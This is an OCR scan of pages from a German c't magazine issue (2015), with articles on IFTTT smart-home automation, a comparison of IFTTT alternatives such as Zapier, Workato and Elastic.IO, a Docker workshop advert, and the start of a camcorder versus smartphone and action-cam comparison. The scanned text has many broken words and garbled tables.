r ichtigung per Mai l  oder SMS 
aus lösen, soba ld  der  Bewe­
gungssensor etwas registriert. l n  
Kombination m i t  de r  Heizungs­
steuerung von Honeywel l  fäh rt 
er d ie  Heizkörper herunter, so­
ba ld der Bewegungsmelder im  
F l u r  e i ne  Stunde l a ng  keine Be­
wegung registriert hat. So kann  
man d ie Heizung über den 
Date&Time-Tr igger von I FTTT 
stünd l ich automatisch herabre­
ge ln und du rch eine gegenlä ufi-

ge Regel mit dem Wemo Motion 
als Trigger im g leichen Raster 
hochfah ren: Nur wenn sich eine 
Stunde n ichts bewegt, geht die 
Heizung künftig in  den Energie­
sparmodus. 

Ph i l i ps' Hue-System kommu­
n iziert über das  proprietäre Zig­
Bee-Protoko l l .  Für die Verbin­
dung zum Heimnetz und damit 
zum I nternet sorgt d ie  soge­
nannte Hue Bridge. Hat man sie 
mit dem I FTTT-Account ver­
knüpft, stehen al le an  der Bridge 
angemeldeten Leuchtm ittel fü r 
d ie  Prog rammierung bereit. 
Neben dem E inste l l en von Far­
ben und He l l i gkeitsstufen er­
l aubt I FTTT auch das Setzen 
eines Alarms (B l inken), einer Zu­
fa l l sfa rbe oder e ines automati­
schen Farbwechsels. Im Verbund 
mit I FTTT lässt es s ich a l s  dezen­
tes I nfo-System nutzen. 

Gekoppelt mit dem COTSen­
sor der Netatmo-Stat ion kann  
e ine Hue-Lampe zum Beispie l  
über i h re jewei l ige Farbe Infor­
mationen zur Raum l uftqua l ität 
übermitte ln .  Wegen der zu g ro­
ßen Latenz von I FTTT eignet sich 
das aber nicht als Rauchwarner. 
Der B l i nk-Alarm lässt s ich zum 
Anzeigen e ingehender Ma i l s, 
Kurznachrichten oder Telefonan­
rufe setzen .  Über  den Wetter­
Tr igger kann  man Hue-Lampen 
auch d ie  Regenwah rschei n l ich­
keit visua l i sieren lassen. 

Nests vernetzter Rauch-/CO­
Melder Protect wa rnt im d i rek­
ten Umfeld per Sprachausgabe. 
Mit H i lfe von I FTTT lässt sich der 
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Koh lenmonoxid- oder Rauch­
a la rm auch auf anderen Kanälen 
übermitte ln .  Dabei bietet der 
Protect fü r beide Fä l le e ine ge­
staffe l te A larmierung :  je e inen 
Trigger für leicht erhöhte Rauch-/ 
CO-Werte und e inen fü r das Er­
reichen einer kritischen Konzen­
tration .  Über  I FTTT kann  man 
s ich auch unterwegs per Ma i l  
und SMS benachrichtigen lassen. 

I FTTT ist e in US-amer ikan i ­
scher  Dienst, was s ich  schon 
daran zeigt, dass d ie  Bedien­
oberfläche aussch l ieß l ich auf 
Eng l isch verfügbar ist . Zudem 
g ibt es e ine Reihe von Channels, 
d ie  s ich fast a ussch l ieß l ich an  
e i ne  US-Ki ientel wenden. So  in­
formiert d ie  Sun l ight Founda­
tion immer dann, wenn der 
amerikan ische Präsident e in Ge­
setz unterzeichnet. Im Best-Buy­
Channe l  können s ich Amer ika­
ner darüber  i n  Kenntn is setzen 
lassen, wenn sich der Preis eines 
best immten Produkts ändert. 
Abged reht: Es g ibt dort soga r 
einen eigenen Trigger fü r "Moto 
360 is ava i l ab le  i n  a store nea r 
you", bei dem der Nutzer sogar  
noch die gewünschte Farbe fest­
legen da rf. 

Fazit 

Morgens um viertel vor sieben 
lässt man sich via "Date & Time 
Channel" und Smartphone we­
cken; der E-Ma i l -Digest mit den 
wichtigsten Nachrichten der 
letzten 24 Stunden steht schon 
im Postfach bereit. Auf dem Weg 
zur  Arbeit rege lt  das Smart 
Home d ie Heizung herunter. 
Und im Büro schreibt man erst 
mal ein Blog-Posting, das I FTTT 
und Buffer g leich i n  d ie anderen 
Socia i-Media-Kanä le vertei len . . .  

S ie so l l ten aber nicht verges­
sen, dass es bei I FTTT schon mal 
klemmen kann .  Der Dienst 
checkt d ie Rezepte in der Regel 
nur a l l e  1 5  Minuten - und auch 
das kann  ma l  haken .  Ohneh in  
ste l l t  s i ch die F rage der F inanzie­
rung.  B is lang ist I FTTT komplett 
kosten- und werbefrei .  Das wi rd 
s icher n icht ewig so andauern .  
So muss das Unternehmen 
außer fü r d ie  e igenen Ressour­
cen ja zum Beispiel auch fü r ver­
sendete SMS zah len .  

I FTTT a rbeitet zwar mit sehr 
vie len Diensten zusammen, 
Schn ittste l len zu etl ichen g roßen 
Anbietern feh len aber, etwa zu 
E-Mai l -Diensten, WhatsApp und 
Goog le+. E ine U n iversa l lösung 
i s t  es daher n icht. Zudem i s t  d ie 
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E infachheit auch e ine g roße 
Schwäche: So kann  man nicht 
mit e inem Trigger mehrere Ak­
tionen ausführen. 

Wer jetzt Lust darauf bekom­
men hat, e inen Web-Automati­
s ierungsdienst fü r sich einzuset­
zen, aber bereits absehen kann, 
dass IFTTT seine Anforderungen 
nicht ganz abdeckt: b itte um­
blättern !  Auf den fo lgenden 
Seiten ste l l en wir Alternativen 

vor, d ie e in ige Dinge anders ma­
chen und mit anderen Partnern 
zusammena rbeiten .  Vie l l e icht 
passt e iner  von den dort ge­
nannten Diensten besser zu 
I hnen. (jo@ct.de) 
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Report I I FTTT: Alternativen 

Herbert Bra u n  

Vol lautomati k 
Web-Auto matis ieru ngswerkzeuge jenseits vo n I FTIT 

I FTTT ist e in  tol les Werkzeug, um Web-Automatisieru ng kennen­
zulernen. Doch wer mehr  F lexib i l ität sucht, braucht e ine Alternative ­
und davon g ibt es e in ige. 

D as schicke Design und die 
g laskla re Benutzerführung 

von I FTIT machen den E i nstieg 
i n  die Web-Automatis ierung so 
einfach wie möglich. Doch s imp­
le Bed ienung geht auf Kosten 
der F lexib i l ität. Wä re es n icht 
zum Beispie l  to l l ,  wenn  man 
den Strom der e ingesammelten 
Nach richten an  mehrere Ziei­
Apps schicken könnte? Wie steht 
es mit F i lterung oder Datenprü­
fungen? Und sch l ieß l ich g ibt es 
H underte vie lgenutzter Web­
anwendungen, mit denen I FTIT 
nicht zusammenarbeitet. 

Ein weiterer Punkt, der vor 
a l l em aus  Sicht professione l le r  
Kunden gegen I FTIT spricht: Der 
Dienst hat bisher keiner le i  Ge­
schäftsmodel l  vorgelegt. Das 
könnte heißen, dass der Nutzer 
mit seinen Daten bezah lt - oder 
dass s ich I FTIT i rgendwann  än­
dern muss, wenn der Vertrauens­
und Geldvorschuss der Investo­
ren aufgebraucht ist. 

Zapier 

Die nächst l iegendste Wah l  fü r 
I FTIT-Umsteiger ist Zapier, das 
ungefäh r  zur  g l eichen Zeit  an­
gefangen hat, Webdienst-AP is  
fü r Norma lsterbl iche zugäng l ich 

-
--
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zu machen. Wäh rend I FTIT 
mit Heimautomatisierungs- und 
Spaßdiensten überwiegend auf 
Privatanwender zielt, hat Zapier 
eher F i rmenkunden im  B l i ck. 
"Rezepte" heißen hier "Zaps". Die 
Gesta ltung ist nicht so spektaku­
lär s impl ifiziert wie beim Markt­
führer, macht das Anlegen neuer 
Zaps aber auch nicht wesentl ich 
schwieriger. 

Die etwa 1 50 Dienste, mit 
denen I FTIT zusammenarbeitet, 
nehmen sich eindrucksvo l l  aus ­
doch Zapier l i stet soga r knapp 
450 On l ine-Services auf. Mitte 
201 4, bei unserer l etzten Stich­
probe, wa ren es noch um die 
250. Al lerdings ist d iese Zah l  e in 
bisschen geschwindelt, denn 
manche Dienste stehen noch auf 
der To-do-Liste, darunter auch 
ein ige popu lä re: Goog le+, Blog­
ger.com, Joomla, Drupal ,  Pocket, 
Out look.com, Sharepoint, I RC­
Chats, Hootsuite oder eBay zum 
Beispie l .  Android- und iOS-Gerä­
te unterstützt Zapier ebenfa l l s  
noch nicht. 

Was bleibt, s ind immerhin an 
d ie 380 Services. Wie I FTIT un­
terstützt Zapier unter anderem 
Telefon, SMS, Facebook, Twitter, 
L inked ln ,  Evernote, Dropbox, 
WordPress, E-Ma i l  und News-

.. .. 

feeds. Letztere kann  es jedoch 
anders a ls der bekanntere Kon­
ku rrent auch ausgeben, sodass 
sich mit Zapier beispie lsweise 
e in Twitter-Feed d i rekt per RSS 
ins Blog importieren lässt. 

Auch die E-Mai i-Anbindung ist 
nicht verg le ichba r, denn Zapier 
erlaubt es, IMAP- und SMTP-Kon­
ten d i rekt abzufragen und zu fi l­
tern. Außerdem verwa ltet Zapier 
mehrere Nutzerkonten beim sel­
ben Dienst; so lassen sich etwa 
dem privaten und dem dienstl i­
chen Gmai i-Account unterschied­
liche Aufgaben zuweisen. Beson­
dere F lexibi l ität bringt der Web­
hock, der einfach einen bel iebi­
gen HTTP-Request an  eine vom 
Nutzer angegebene URL schickt. 

Ein H igh l ight  bei den unter­
stützten Diensten ist d ie nahezu 
komplette Goog le-Office-Su ite, 
a l so Drive, Gmai l ,  Docs, Ka lender, 
Aufgaben und Kontakte. Als Al­
ternative stehen d iverse Micro­
soft-Angebote wie Office 365 
und Exchange zur Verfügung .  
Veransta l tungen mit Eventbrite 
und MeetU p, Su rveyMonkey­
Umfragen, Pa rse a l s  Anwen­
dungs-Backend, Kundendienst 
mit Zendesk, MongoDB-Daten­
banken - a l l das lässt sich mit Za­
pier untereinander verbinden. 

QJlO NDrT OHt .. urr 

-
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Bestechend s ind auch d ie 
deta i l l ierten Mög l ichkeiten zur 
F i l terung .  Sel bst e in harmloser 
Tweet enthält mehrere Dutzend 
Datenfe lder, von denen Zapier 
jedes einzelne mit d iversen Text-, 
Zah l - und  Datumsverg le ichen 
zur  F i lterung verwenden kann .  
So könnte e in "Zap" etwa e ine 
aktue l le  L iste von Tweets, d ie  
e inen bestimmten Hashtag ent­
ha l ten und favoris iert oder re­
tweeted wurden, aber keine Re­
plys s ind, zusammentragen und 
weitervera rbeiten. 

Zapier l ässt s ich i n  einer E in­
ste igervers ion g ratis nutzen. 40 
Dienste stehen a l le rd ings nu r  
za h lenden Kunden zur  Verfü­
gung, darunter das recht bel ieb­
te Sa lesforce. Der E insteigertarif 
ist zudem auf nur 1 00 Abfragen 
pro Monat beschränkt - a l so 
gerade e inma l  d rei  pro Tag .  
Außerdem s ind nu r  fünf "Zaps" 
er laubt. Drei Bezah l ta rife kosten 
zwischen 1 5  und  99 US-Do l l a r  
p ro  Monat  und  setzen d iese 
L im its hoch; schon mit e inem 
"Bas ic"-Ta rif macht s ich Zapier 
etwa vierma l pro Stunde an  d ie 
Arbeit .  Team-Lösungen, bei 
denen mehrere Mitg l ieder a uf 
e inen Account  oder auf "Zaps" 
zug reifen können, sind ange­
dacht. 

Wer noch Ideen fü r eigene 
Zaps sucht, kann  auf der Website 
unter "Explore" stöbern oder im 
"Lea rning Center" beispielsweise 
a l les über die Fernsteuerung von 
CRMs erfah ren .  Den Betrei bern 
von Webanwendungen er la ubt 
Zapier, sel bst aktiv zu werden:  
I m  "Deve loper Center" können 
sie i h re APis Zapier-Nutzern zur  
Verfügung ste l l en - vie l l eicht 
ma l  e ine Idee fü r d ie  Xing-Ent­
wickler. Nicht nur fü r Zapier-Nut­
zer i nteressant ist sch l ieß l ich die 
Seite https:/ /zapier.com/status/, 
d ie  Auszeiten und andere Pro­
bleme mit den angeschlossenen 
Diensten meldet. 

itDuzzit 

Die d iversen weniger bekannten 
Automatis ierer or ientieren sich 
überwiegend an  Zapier, nicht an 

Automatisierung fü r Fort­
geschrittene: Mit dem 
Editor stel lt itDuzzit eine 
Programmierumgebung fü r 
die Verknüpfung von 
Diensten zur Verfügung.  

c't 201 5, Heft 5 



Report I I FTTT: Alternativen 

� '" ' '" ... , "��· . .. .  ' ... 

111. Tnggers 

< ) 
Es muss nicht unbedingt ein Webdienst sein, der eine 
Aktion aus löst - We Wired Web beobachtet auch Erdbeben, 
Börsenkurse oder Sch iffe. 

I FTTT. i tDuzzit etwa wirkt fast 
wie ein Zapier-Kion, dem es ein 
wenig an Fe insch l iff feh lt. Wer 
"Zaps" als Namen fü r Automati­
s ierungsaufträge schon däml ich 
fi ndet, wird s ich schwer an  die 
"Duzzits" gewöhnen können.  

Was die Anzah l  der verknüpf­
ten Dienste angeht, l iegt itDuzzit 
auf P latz 2, wenn auch mit deut­
l ichem Abstand zu Zapier .  A l ler­
d ings muss man bei der Qua l ität 
der Anb indung zwe ima l  h in ­
scha uen,  denn  oft stehen fü r 
e inen Dienst nu r  wenige Aktio­
nen zur Verfügung .  E-Ma i l s  kann  
i tDuzzit a bgesehen von Gma i l  
nu r  von POP-Servern abho len .  

E in wichtiges A l le i nstel l u ngs­
merkma l :  Ü ber e in Drittel der 
1 80 Dienste bedient keiner  der 
Konku rrenten, darunter etwa 
Goog le  Maps, Yahoo und Wiki­
ped ia .  Bei d iesen und e in igen 
anderen Diensten i st  d ie E inb in­
dung jedoch n icht be i  den nach 
I FTTT-Vorbi ld zusammengekl ick­
ten Automatisierungs-Jobs mög­
l ich, sondern nur über E igenbau­
Duzzits. 

Das ist auch das i nteressan­
teste Featu re von itDuzzit: Mit 
e inem leistungsfäh igen Editor 
entwickelt man Aufträge, indem 
man d ie APis von On l i ne-Diens­
ten nach eigenen Vorgaben an­
spricht. Das ist erheblich kompl i ­
zierter a l s  d ie Standa rd-Rezepte 
und ge l ingt nu r  techn isch ver­
sierten Anwendern, die sich mit 
dem System eine Wei le  beschäf­
t igt haben.  Es ist aber  immer 
noch einfacher, a l s  wenn man 
sel bst prog rammieren würde. 
Diese Duzzits haben auch sel bst 
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e in API, mit dem man ih re I nha l­
te von extern a l s  XML- oder 
JSON-Datei e inholen kann .  

We Wired Web 

We Wired Web hat a bgesehen 
von einer ku rzen Testphase kei­
nen Grati s-Ta rif, or ientiert sich 
aber sonst bei Preisen und Fea­
tu res ebenfa l l s  a n  Zapier. Mit 
gut 1 30 Diensten hat auch We 
Wired Web e ine statt l iche Aus­
wah l .  D ie Za h l  der  Kanä le, die 
kein  anderer  bedient, ist kl e in ,  
enthält aber i l l ustre Namen wie 
Out look.com und Google+ und 
Orig ine l l es wie Erdbeben oder 
Schiffe, d ie  i n  e iner bestimmten 
Reg ion auftauchen. Schiffe, Erd­
beben, Börsenku rse und Goo­
gle+ stehen naturgemäß n icht 
a l s  Aktionen zur Verfügung, son­
dern nur als Auslöser. 

D ie fe inen E inste l l u ngs- und  
F i l teroptionen be im E in r ichten 
neuer Aufträge ü berzeugt .  
Jedes Datenfe ld  lä sst s ich fü r 
Verg le iche und  fü r d ie  Daten­
ausgabe heranziehen. Verpackt 
ist das i n  e ine a mbition ie rte 
Oberfläche, der es ge l i ngt, d ie­
sen komp lexen P rozess ü ber­
s icht l ich zu ha l ten; a l l e rd ings  
hakelte es bei u nseren Versu­
chen ge legent l i ch .  E ine Beson­
derheit von We Wired Web: So­
woh l  beim Aus löser a ls auch bei 
der  Akt ion lassen s ich meh rere 
Dienste zusammenpacken .  Auf 
Aus löserseite verbindet man sie 
wa h lweise mit Oder oder Und .  
So  kann  zum Beispie l  e i ne  neue 
Date i ,  d i e  bei Dropbox oder 
OneDrive auftaucht, e ine E-Ma i l  
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c l ick to confl.gure <Ktion 

Den Abgleich einzelner Daten­
felder in  Bedingungen und 
Schleifen bewä ltigt niemand 
so elegant wie Workato. 

und  e ine Nachricht im Projekt­
management-Tao )  a us lösen. 

Ähn l ich wie itDuzzit br ingt 
auch We Wired Web einen Editor 
mit, mit dem man eigene Dienste 
einbinden und neue Trigger oder 
Aktionen an legen kann .  Auch 
vorhandene Aktionen lassen sich 
anpassen, indem man etwa neue 
Datenfelder ausg ibt. Dieser "As­
sembly Ed itor" er innert entfernt 
an  Yahoo Pipes und ist schick ge­
sta ltet. Das auf Flash basierende 
Werkzeug dü rfte aber bei Nicht­
Programmierern F l uchtreflexe 
auslösen. Wer sich nicht abschre­
cken lässt, kommt mit der guten 
Dokumentation schnel l  über die 
Ei nstiegshü rden h inweg. 

Workato 

Workato ist ein kle inerer Anbie­
ter, der  s ich auf geschäfts rele­
vante Anwendungen spezia l i ­
s iert hat .  Gratisnutzern ver­
spricht man dennoch ein unbe-
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g renztes Transakt ionsvo lumen; 
d ie z ieml ich teuren Bezah l ta rife 
unterscheiden s ich näml ich 
hauptsäch l ich du rch den Sup­
port sowie d ie  Mögl ichkeit zu 
nicht-öffentl ichen Rezepten. 

Was Workato auszeichnet, ist 
d ie  Verkettung von Aktionen :  
Hat s ich etwa e in Nutzer be i  
e iner Eventbrite-Veransta l tung 
angemeldet, kann Workato d iese 
Daten an Fu i i Contact weiterrei­
chen, das d iese bereinigt und bei 
Bedarf korr igiert. Ist das Ergebnis 
positiv, kommt der Besucher ins 
Goog le-Adressbuch, andernfa l l s  
verschickt Gma i l  e i ne  Nach richt. 

Außer bedingten Verknüpfun­
gen beherrscht Workato soga r 
Schleifen und kann  fü r jedes E le­
ment einer Liste eine Aktion aus­
füh ren .  Die e inze lnen Sch ritte 
eines Rezepts lassen sich kom­
mentieren oder versch ieben. 
Sogar einen Prüfungs- und F rei­
gabemechan ismus implemen­
t iert Workato i n  Form von 
"People Tasks": Bevor es d ie au­
tomatisch ausgelöste Akt ion 
du rchfüh rt, ho l t  es per Ma i l  d ie 
Zustimmung der dazu autorisier­
ten Person ein .  

So innovativ Workato das 
Genre der  Web-Automatis ierer 
vorantreibt, um so mehr stören 
d ie tei lweise d reisten Anle ihen ­
etwa bei GitHubs Favorisie­
rungs- und Klonfunktion, mit der 
man öffentl iche Rezepte anderer 
Nutzer würd igt, oder der Einzel­
da rste l l ung der Dienste, die von 
Zapier geklaut ist. 

Trotz seines großen Potenzia ls 
hat das erst wenige Monate a lte 
Workato auch noch andere Bau­
ste l len - darunter den sonder­
baren Fauxpas, dass bei der Ein­
ste l l ung des Timers keine Zeit­
zonen außerha lb  der USA zur Ver­
fügung stehen. Schwerer wiegt, 

Gelastic. io 

Des igner  

dass d ie meisten der nicht a l lzu 
vielen angeschlossenen Dienste 
nur auf wenige Auslöser und Ak­
tionen zug reifen können; oft 
steht nu r  "Neuer Ei ntrag" (oder 
das entsprechende Äqu iva lent) 
zur Wah l .  

Elastic. IO 

Mit Elastic. IO tritt seit zwei Jahren 
auch e in deutscher Wettbewer­
ber gegen Zapier und Co. an. Die 
Banner lassen sich am ehesten 
mit Workato verg leichen - wie 
bei d iesen ist d ie Anzah l  der ver­
knüpften Dienste (hier heißen sie 
"Components") und der damit er­
mögl ichten Aktionen überschau­
ba r, doch Jassen sich mehrere 
Anwendungen zu einem "F iow" 
in  Serie verketten. 

Zwar hat E lastic. IO nicht 
Workatos simple lf- oder Foreach­
Verknüpfung, kann aber mit 
Komponenten wie Fi l ter, CSV und 
Webhook Daten umwandeln und 
modifizieren. I nteressant ist auch 
die Option, " I ntegration Widgets" 
in die eigene Website einzubau­
en. So ist es zum Beispiel mögl ich, 
auf einer Webseite (beziehungs­
weise im I ntranet) per Knopf­
d ruck Kontakte aus Xing oder 
Sa lesforce zu importieren oder 
die Daten registrierter Nutzer an 
einen Mai i-Dienstleister wie Mai i­
Chimp weiterzu reichen. 

SDKs fü r Node.js, Java und  
JSON geben Entwicklern das 
Werkzeug an  d ie Hand, um ih re 
e igenen On l i ne-Services bei 
E last ic . IO zu i nteg rieren. Diverse 
GitH ub-Projekte, die E last ic . IO 
sel bst veröffent l icht hat, he lfen 
dabei. 

Öffent l ich einseh- und kopier­
bare Lösungen g ibt es bei E las­
tic. IO nicht, was den Ei nstieg er­
schwert. Dass sich das Potenzia l  

von Elastic. IO erst auf den zwei­
ten Bl ick ersch l ießt, hat aber vor 
a l l em mit der etwas verwi rren­
den Benutzerführung zu tun:  An­
ders als bei den meisten Konkur­
renten ist nicht intu itiv kla r, wie 
man die Dienste am besten ver­
knüpft. Wi l l  man Dienste oder 
Aktionen nachträg l ich ändern, 
verl iert man al le zwischenzeit l ich 
gemachten Eingaben. 

Doch Elastic.IO ist n icht auf Ge­
legenheitsnutzer ausgerichtet, 
sondern auf F i rmenkunden, d ie 
sich Entwickler leisten und den 
Support i n  Anspruch nehmen 
können. Befremdl icherweise g ibt 
es zwei unterschied l iche Preis l i s­
ten, von denen d ie e ine bei 1 9  
Euro pro Monat anfängt, die an­
dere dagegen erst bei 1 29 Eu ro, 
wonach es schnel l  vierstel l ig wird. 

I n teressant an  E last ic . IO ist 
sein Standort i n  Deutsch land -
bei e inem Dienst, der Zug riffe 
auf mögl icherweise Dutzende 
hochsensible Accounts bei ande­
ren Anbietern hat, ist es du rch­
aus  beruhigend, wenn er fü r h ie­
sige Rechtsprechung und Daten­
schutzanforderungen erreichbar 
i st. E last ic . IO über legt, wegen 
des NSA-Skanda l s  n icht mehr 
mit dem US-amer ikan ischen 
Backend-Dienstleister Heroku zu­
sammenzua rbeiten. 

BipiO 

Es i s t  e in weiter Weg von der 
i ntu itiven Bed ienfreund l ichkeit 
I FTTTs zu BipiO - wer d ie "Get­
ting Started"-Seite du rchgeha l ­
ten hat und danach zwischen 
Bips, Pods, Hubs und Channe ls  
unterscheiden kann, ist wahr­
schein l ich selbst Entwickler. 

Es ist schade, dass BipiO mit 
seiner katastropha len Usabi l ity 
I nteressierte verg rätzt, denn es 

Widgets Documentation Jo • 

co:'Tlponents 

modify your flow by clicking on nodes below 

' ' ' 1 .•. -r' ' ' ' 
! -.. : : -.. : l : -.. : ! -+ ! l _Ne_w_ ltelll ln. Fee_d.: � Fi lter Data ,: : . �nt: _to _a ��V-file_: !, Create. N_e"" :i l: _: !, 

Cancel 

Elastic. IO kann  ein bisschen verwi rren, hat aber Vorzüge wie die Verknüpfung mehrerer Dienste. 

c't 201 5, Heft 5 



Asana 
Dropbox ../ 
Evernote ../ 
Gmail 
Google Calendar ../ 
Google Docs 
Google Drive 1 0  ../ 
MaiiChimp ../ 
Trel lo ../ 
Twitter ../ 
../ vorhanden - nicht vorhanden 

ist ein programmiertechnisch äu­
ßerst interessantes Open-Sou rce­
Projekt "Bips" lassen sich bel ie­
big aus  "Channels" zusammen­
setzen und von anderen Nutzern 
übernehmen. 

Motivation, das Ta l der Tränen 
zu du rchmessen, g ibt es jeden­
fa l l s :  Am Ende lockt die Mögl ich­
keit, e inen frei konfigurierba ren, 
kosten losen Web-Automatis ie­
rungsdienst aufzusetzen - und 
zwar auch auf dem eigenen Ser­
ver. Zuvor kann  man das kürzl ich 
von dem New Yorker C loud­
Spezia l i sten wot.io aufgekaufte 

itDuzzit 

../ 
../ ../ ../ 

../ 
../ ../ 

../ ../ ../ 
../ 

../ ../ ../ 
../ ../ 

../ 
../ ../ ../ 

Bip iO auf dessen Website kos­
ten los kennen lernen und pro­
duktiv nutzen. 

Fü r  d ie I nsta l lation auf dem ei­
genen Server s ind Node.js-Erfah­
rungen vonnöten. E ine testweise 
E inrichtung auf einer Windews­
Masch ine scheiterte an zu lan­
gen Dateipfaden .  Wer s ich fü r 
das E igenbau-Konzept von Bip iO 
begeistert, aber eher auf Ruby 
a l s  auf Node.js schwört, so l l te 
s ich Hug inn  ansehen (s iehe c't­
L ink) .  H ier  g ibt es aber keine 
Mög l ichkeit, den Dienst ohne I n­
sta l lat ion auszuprobieren. 

iX-Workshop 

We Wired Web Workato Zapier 

../ ../ 
../ ../ ../ 
../ ../ ../ 
../ ../ ../ 
../ ../ ../ 
../ ../ 
../ ../ 
../ ../ 
../ ../ 
../ ../ 

Trigger u n d  Action 

Jedes der vorgeste l lten Angebo­
te hat seine Vorzüge: Zapier ist 
das au sgereiftesie Werkzeug 
und  hat mit Absta nd d ie meis­
ten Dienste unter seinem Dach, 
doch itDuzzit und We Wired 
Web sind auf  d iesem Gebiet 
a uch gut ausgestattet - und ent­
ha lten e inen Editor fü r d ie maß­
geschneiderte Anbindung .  Die 
bei i tDuzzit a ufge la ufenen Er­
gebn isse lassen sich per API e in­
samme ln, wä hrend We Wired 
Web du rch seine F i lteroptionen 

Report I I FTTT: Alternativen 

beeindruckt und mehrere Aktio­
nen bünde ln kann .  

Das g i l t  auch fü r E l ast ic . IO 
und  Workato, das sogar mit Be­
d i ngu ngen und  Sch le ifen ver­
knü pfen ka nn .  Das deutsche 
E last ic . IO wiederum i nteg r iert 
s ich mit Widgets schmerzlos i n  
d ie  e igene  Website. Wer  se l bst 
hosten und sch rauben möchte, 
ist mit B ip iO und  Hug i nn  bes­
tens bedient .  D ie Werkzeuge 
s ind da - nun  l iegt es an  I h nen, 
s ie fü r d ie  Vereinfachung des di­
g i ta len Al ltags zu benutzen. 

Um I hnen einen Überbl ick zu 
geben, welcher Automat is ierer 
mit  welchen D iensten zusam­
mena rbeitet, haben wir  e ine 
Ü bers icht zusammengeste l l t .  
D ie Ta bel l e  oben l i stet nur die 
zehn bei Zap ier  be l iebtesten 
Dienste auf. Die vol l ständ ige Ta­
bel l e  mit a l l en mehr  a l s  600 in 
F rage kommenden D iensten 
veröffent l i chen wi r  u nter dem 
c't-Li nk. Qo@ct.de) 

C71: Alle Dienste und vol l ständige 
Ta bel le :  ct.de/ya 1 g 

Docker Jetzt buchen ­
begrenzte 

Te i l n e h m e rzah l 

Docker - Containerbasierte Vi rtualisierung 

Standardisierung von Linux Containern 

Dieser Workshop stellt die Virtualisierung von Anwendungen und den Umgang mit Docker Containern 
und Images vor. 

Anhand praktischer Beispiele werden in verschiedenen Szenarien die Einbindung von Containern ins 

Netzwerk, der Austausch von Daten zwischen Containern und das persistente Speichern von Dateien 
behandelt. 
Darüber hinaus wird gezeigt , wie Sie Sicherungen von Conta inern erstellen und Images im Unterneh­
mensnetz zentral zur Verfügung ste l len können. 

Voraussetzungen: 

Als Tei lnehmer des Workshops sollten Sie ein grundlegendes Verständnis für die System- und Netzwerk­
administration unter Linux mitbringen. 
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Weitere I nfos unter: www.he ise-events.de/docker 

www.ix-konferenz.de 

Ihr  Referent wird 
gestellt von: 

B 
S Y S T E M S  

Eine Veranstallung von: 

Organisiert von 
he ise Events 
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U l rich H i l g efort, Joac h i m  Sauer 

Camcorder-Ki l ler? 
Werkzeuge zu r Bewegtbi ldaufn a h m e - was fü r wen 

Wer heute fi lmen wi l l ,  g reift n icht mehr zwangsläufig zum Camcorder, 
sondern zu Smartphone, Action-Cam oder Fotoapparat. Wir  zeigen die 
Vor- und Nachtei le der versch iedenen Gerätekategorien auf. 

G eht es um spontane Aufnah­
men, zücken d ie meisten ihr 

Smartphone und legen einfach 
los .  Tatsäch l ich fo lgt oft später 
d ie Ernüchterung: Die Schä rfe ist 
n icht so pr icke lnd,  der  B i ldaus­
schnitt mangels Zoom zu weit­
winke l ig ,  bei wenig Licht ra u­
schen d ie C l ips kräftig, manche 
Fa rben sehen künst l ich oder zu 
kna l l ig  aus. Und der Ton . . .  

Kein  Wunder: Die winzigen 
Opti ken s ind nicht l i chtsta rk 
genug, um auch bei schwacher 
Beleuchtung rauscharme Videos 
zu l iefern, e in B i ldstabi l isator ge­
hört bei den Smartphones auch 
noch nicht zur  Standardausrüs­
tung. Trotzdem werden viele Be­
sitzer solcher sch lauen Telefone 
auf ih re ge lungenen Aufnahmen 
verweisen - auch wenn d ie 
meist bei her r l i chem Sonnen­
schein entstanden s ind und viel­
leicht nur auf einem Tablet ange­
schaut wurden: Viele B i l dfeh ler  
s ieht  man erst auf e inem großen 
Disp lay. 

I nzwischen hat die B i ldqua l i­
tät v ie ler Smartphones - bei 
Schön-Wetter-Bed ingungen 
e in so hohes N iveau erreicht, 
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dass s ie Camcorder der E instei­
gerklasse überfl ü ss ig machen: 
Neue Fu i i -HD-Mode l le  fü r etwa 
300 Euro werden nu r  noch selten 
verkauft, denn von optischem 
Zoom und Bi ldstab i l i sator abge­
sehen bieten sie kaum Vorte i le ­
anders a l s  e in Smartphone: Das 
Telefon hat man stets dabei; 
Apps ste l len die Funktionen fü r 
den Schn itt und den Up load auf 
Socia i-Media-Piattformen bereit. 

Fo lg l ich kommen nur noch 
wenige neue Einsteiger-Camcor­
der heraus, zumal  bereits erste 
Smartphones mit der u ltrahohen 
Auflösung von UHD/4K (3840 x 
2 1 60 Pixel) beworben werden.  
Speichert das Smartphone je­
doch nu r  mit e iner B i ldwieder­
ho l rate von 1 5  B i ldern/s, reicht 
das bei schne l len Bewegungen 
nicht fü r eine fl üssige Wiederga­
be. Egal ob 4K oder Fu l l  HD: Mit 
weniger a l s  30 Bi ldern/s macht es 
keinen Spaß. 

Einord n u ng 

Preis l ich machen den E insteiger­
Camcordern auch d ie Action­
Cams zu schaffen. Die g ibts beim 

Discounter bereits ab  1 00 Eu ro, 
die Spitzenklasse kostet deut l ich 
über 400 Euro. Die Action-Cams 
defin ieren sich über wenige Be­
d iene lemente und die robuste 
Bauweise, sch l ieß l ich so l len sie 
nicht beim ersten E insatz im Ge­
lände den Geist aufgeben. Daher 
l iefern die Herste l ler  zu ih ren Ka­
meras passende Schutzgehäuse, 
d ie  auch g roben Stößen stand­
ha lten und bis in  mehrere Meter 
Tauchtiefe wasserd icht s ind.  Be­
weg l iche Tei le wie optische Bi ld­
stab i l i satoren und Zoom-Opti­
ken s ind nicht vorgesehen. Einen 
sehr brauchba ren e lektronischen 
Stabi l isator baut Sony i n  seinen 
HDR-AS20 ein, der weniger a l s  
200 Euro kostet. 

Damit man das Wichtigste i n  
jedem Fa l l  mit d rauf  kriegt und 
das aufgenommene Video mög­
l ichst unverwackelt wirkt, be­
rücksicht igen a l l e  Action-Cams 
e inen mögl ichst g roßen B l ick­
wi nke l .  Die technischen Daten 
nennen hier üb l icherweise 1 70 
Grad - im Testlabor  b le iben 
davon eher 1 20 bis 1 30 Grad 
übr ig .  Bei v ie len Action-Cams 
lässt s ich der B l i ckwinkel zwa r 

reduzieren, aber nicht via Zoom, 
sondern nur i n  festen Stufen per 
Menü .  Schon wegen der Weit­
winkelverzeichnungen s ind d ie  
Action-Cams fü r Porträts vö l l i g  
ungeeignet. 

Große Untersch iede fi ndet 
man bei der Ausstattung - in un­
erwa rteter Richtung:  Die günsti­
gen Model le  werden mit üppi­
gem Zubehör ausgel iefert, in  der 
gehobenen Klasse bekommt 
man Ha lterungen oder Fernbe­
d ienung oft nu r  in  kostspie l igen 
